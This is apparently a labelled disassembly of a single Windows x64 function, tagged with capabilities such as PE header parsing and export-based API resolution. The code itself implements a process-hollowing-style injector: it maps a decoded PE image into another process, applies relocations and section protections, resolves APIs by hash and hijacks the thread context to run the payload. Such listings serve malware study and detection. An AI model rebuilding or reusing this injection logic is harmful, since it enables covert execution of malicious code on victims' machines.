Function at 0x140001edc
Capabilities:
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x6a8
mov ecx, 0x33968717
call fcn.14000392c
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
jne 0x140001f1b
jmp 0x14000280e
lea rax, [rsp + 0x178]
mov rdi, rax
mov rsi, qword [rsp + 0x6d8]
mov ecx, 0x24
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x198], 0
je 0x14000280e
mov rax, qword [rsp + 0x6d8]
add rax, 0x24
mov qword [rsp + 0x6d8], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, dword [rsp + 0x198]
lea rdx, [rsp + 0x6d0]
mov rcx, 0xffffffffffffffff
call fcn.140003de4
movzx eax, al
test eax, eax
je 0x14000280e
cmp qword [rsp + 0x6d0], 0
je 0x14000280e
mov r8d, dword [rsp + 0x198]
mov rdx, qword [rsp + 0x6d8]
mov rcx, qword [rsp + 0x6d0]
call fcn.140003d80
mov eax, dword [rsp + 0x198]
mov dword [rsp + 0x98], eax
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x178]
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x6d0]
call fcn.140001710
movzx eax, al
test eax, eax
je 0x14000280e
mov qword [rsp + 0x78], 0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xc0]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140002071
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6c0]
call fcn.140001670
jmp 0x14000280e
mov rax, qword [rsp + 0x48]
cmp dword [rax], 0x4550
je 0x140002098
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6c0]
call fcn.140001670
jmp 0x14000280e
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rax, qword [rsp + 0x48]
mov r8d, dword [rax + 0x50]
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0x6c0]
call fcn.140003de4
movzx eax, al
test eax, eax
je 0x14000280e
cmp qword [rsp + 0x78], 0
jne 0x1400020ee
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6c0]
call fcn.140001670
jmp 0x14000280e
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 0x30]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
je 0x140002122
mov dword [rsp + 0x88], 1
jmp 0x14000212d
mov dword [rsp + 0x88], 0
mov al, byte [rsp + 0x88]
mov byte [rsp + 0x34], al
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0xb8], rax
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x1400022b5
mov rax, qword [rsp + 0xb8]
cmp dword [rax + 4], 0
je 0x1400022b5
mov rax, qword [rsp + 0xb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
cmp dword [rax + 4], 0
je 0x1400022b5
mov rax, qword [rsp + 0x70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
div rcx
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x70]
add rax, 8
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0x50], 0
jmp 0x140002201
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
cmp rax, qword [rsp + 0xe8]
jae 0x140002298
movsxd rax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0xf0]
movzx eax, word [rcx + rax*2]
mov word [rsp + 0x3c], ax
movzx eax, word [rsp + 0x3c]
sar eax, 0xc
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x3c]
and eax, 0xfff
mov word [rsp + 0x64], ax
movzx eax, word [rsp + 0x40]
cmp eax, 3
je 0x14000225a
movzx eax, word [rsp + 0x40]
cmp eax, 0xa
jne 0x140002293
movzx eax, word [rsp + 0x64]
mov rcx, qword [rsp + 0xf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax]
add rax, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
mov qword [rcx], rax
jmp 0x1400021f7
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 4]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
jmp 0x140002192
mov rax, qword [rsp + 0x48]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0x54], 0
jmp 0x1400022e4
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
mov rax, qword [rsp + 0x48]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x54], eax
jge 0x1400023a8
movsxd rax, dword [rsp + 0x54]
imul rax, rax, 0x28
lea rcx, [rsp + 0x1a0]
mov rdx, qword [rsp + 0xd8]
mov rdi, rcx
lea rsi, [rdx + rax]
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x5c]
call fcn.140001568
mov rcx, rax
call fcn.140001470
mov rdx, rax
lea rcx, [rsp + 0x1a0]
call fcn.1400040ac
test eax, eax
jne 0x14000234e
jmp 0x1400022da
cmp dword [rsp + 0x1b0], 0
je 0x1400023a3
mov eax, dword [rsp + 0x1b4]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x1ac]
mov rdx, qword [rsp + 0x78]
add rdx, rcx
mov rcx, rdx
mov r9, rax
mov r8d, dword [rsp + 0x1b0]
mov rdx, rcx
mov rcx, qword [rsp + 0x6c0]
call fcn.140004008
movzx eax, al
test eax, eax
jne 0x1400023a3
jmp 0x1400023a8
jmp 0x1400022da
mov dword [rsp + 0x58], 0
jmp 0x1400023bc
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x48]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x58], eax
jge 0x140002533
movsxd rax, dword [rsp + 0x58]
imul rax, rax, 0x28
lea rcx, [rsp + 0x140]
mov rdx, qword [rsp + 0xd8]
mov rdi, rcx
lea rsi, [rdx + rax]
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x38], 0
lea rdx, [rsp + 0x16e]
lea rcx, [rsp + 0x5d]
call fcn.1400015c0
mov rcx, rax
call fcn.140001470
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.1400040ac
test eax, eax
jne 0x14000242e
jmp 0x1400023b2
mov eax, dword [rsp + 0x164]
and eax, 0x20000000
test eax, eax
je 0x14000247c
mov eax, dword [rsp + 0x164]
and eax, 0x80000000
test eax, eax
je 0x140002458
mov dword [rsp + 0x38], 0x40
jmp 0x14000247a
mov eax, dword [rsp + 0x164]
and eax, 0x40000000
test eax, eax
je 0x140002472
mov dword [rsp + 0x38], 0x20
jmp 0x14000247a
mov dword [rsp + 0x38], 0x10
jmp 0x1400024ae
mov eax, dword [rsp + 0x164]
and eax, 0x80000000
test eax, eax
je 0x140002496
mov dword [rsp + 0x38], 4
jmp 0x1400024ae
mov eax, dword [rsp + 0x164]
and eax, 0x40000000
test eax, eax
je 0x1400024ae
mov dword [rsp + 0x38], 2
cmp dword [rsp + 0x38], 0
je 0x14000252e
mov eax, dword [rsp + 0x14c]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x108], rax
mov eax, dword [rsp + 0x148]
mov qword [rsp + 0x100], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x38]
mov r8d, dword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x6c0]
call fcn.140003f40
movzx eax, al
test eax, eax
jne 0x14000252e
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6c0]
call fcn.140001670
jmp 0x14000280e
jmp 0x1400023b2
mov rax, qword [rsp + 0x48]
cmp dword [rax + 0x28], 0
je 0x14000280e
lea rax, [rsp + 0x5e]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov edx, 0xf347daae
mov rcx, qword [rsp + 0x90]
call fcn.1400039dc
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0
jne 0x140002592
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6c0]
call fcn.140001670
jmp 0x14000280e
lea rax, [rsp + 0x5f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov ecx, 0xf347daae
call fcn.140002d68
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400025c9
mov edx, dword [rsp + 0x30]
mov rcx, qword [rsp + 0xb0]
call fcn.1400030bc
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov edx, 0x85c5a13a
mov rcx, qword [rsp + 0x90]
call fcn.1400039dc
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
jne 0x140002619
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6c0]
call fcn.140001670
jmp 0x14000280e
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov ecx, 0x85c5a13a
call fcn.140002d68
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140002650
mov edx, dword [rsp + 0x30]
mov rcx, qword [rsp + 0xa8]
call fcn.1400030bc
lea rax, [rsp + 0x61]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov edx, 0xeea1589a
mov rcx, qword [rsp + 0x90]
call fcn.1400039dc
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
jne 0x1400026a0
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6c0]
call fcn.140001670
jmp 0x14000280e
lea rax, [rsp + 0x62]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov ecx, 0xeea1589a
call fcn.140002d68
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400026d7
mov edx, dword [rsp + 0x30]
mov rcx, qword [rsp + 0xa0]
call fcn.1400030bc
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x1d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rsp + 0x200], 0x10001f
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x118], rax
lea rdx, [rsp + 0x1d0]
mov rcx, qword [rsp + 0x6c8]
call qword [rsp + 0x118]
shr eax, 0x1e
cmp eax, 3
jne 0x14000276f
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6c0]
call fcn.140001670
jmp 0x14000280e
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x128], rax
lea rdx, [rsp + 0x1d0]
mov rcx, qword [rsp + 0x6c8]
call qword [rsp + 0x128]
shr eax, 0x1e
cmp eax, 3
jne 0x1400027d0
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6c0]
call fcn.140001670
jmp 0x14000280e
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x138], rax
xor edx, edx
mov rcx, qword [rsp + 0x6c8]
call qword [rsp + 0x138]
shr eax, 0x1e
cmp eax, 3
jne 0x14000280e
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6c0]
call fcn.140001670
add rsp, 0x6a8
pop rdi
pop rsi
ret